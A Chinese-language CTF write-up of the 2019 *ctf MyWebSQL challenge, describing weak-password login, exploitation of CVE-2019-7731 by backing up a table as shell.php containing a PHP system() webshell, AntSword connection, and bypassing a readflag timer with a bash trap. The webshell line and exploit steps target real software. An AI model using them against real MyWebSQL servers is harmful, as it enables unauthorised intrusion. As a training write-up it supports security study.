比赛时卡在了执行
readflag
赛后复现2333
环境还在:http://35.243.82.53:10080/
首页是MyWebSQL登录界面
猜测用户名弱密码
1 | root root |
admin admin
登录成功
谷歌MyWebSQL CVE
发现了CVE-2019-7731,正好是最近的漏洞,出题人的最爱,点进去看到有一篇分析
有漏洞复现过程:
- Create a test table (code) and write a shell code in this table.
创建表,写入shell语句
- Execute Backup Database function and modify Backup filename as shell.php.
备份数据表,名称改为shell.php
示例语句为
1 | <?php system($_POST[cmd]); ?> |
- Browse (domain)/mywebsql/backups/shell.php?cmd=XXX. Here instance is cmd=ipconfig as below figure.
然后文件就在backups目录下了
为了方便,我还是写入eval马方便蚁剑连接
1 | create table `tinmin` (string VARCHAR(255)); |
查询就执行成功了
然后备份
蚁剑连接
打开终端
flag读不了,权限不够,执行根目录下的readflag,发现一下就跳过了
于是cp readflag
到网站目录下载下来,IDA打开发现ualarm计时操作
比赛就卡在这里了,本地ubuntu pwntools跑也来不及
尝试反弹shell
这里我也不懂tinmin.sh
为什么不能直接
1 | ./tinmin.sh |
发现运行不了,要bash tinmin.sh
让SIGALRM不作为
有个 trap 命令能让ualarm
不执行
参考:https://linuxconfig.org/how-to-modify-scripts-behavior-on-signals-using-bash-traps
终端输入
1 | trap "" 14 |
然后运行readflag
,好了,可以慢慢算了
1 | *ctf{h4E9PKLkr6HTO3JcRglVdYaBSA0eDU8y} |
后来看台湾balsn战队WP
https://balsn.tw/ctf_writeup/20190427-*ctf/#solution-2:-mkfifo-trick
1 | $ mkfifo pipe |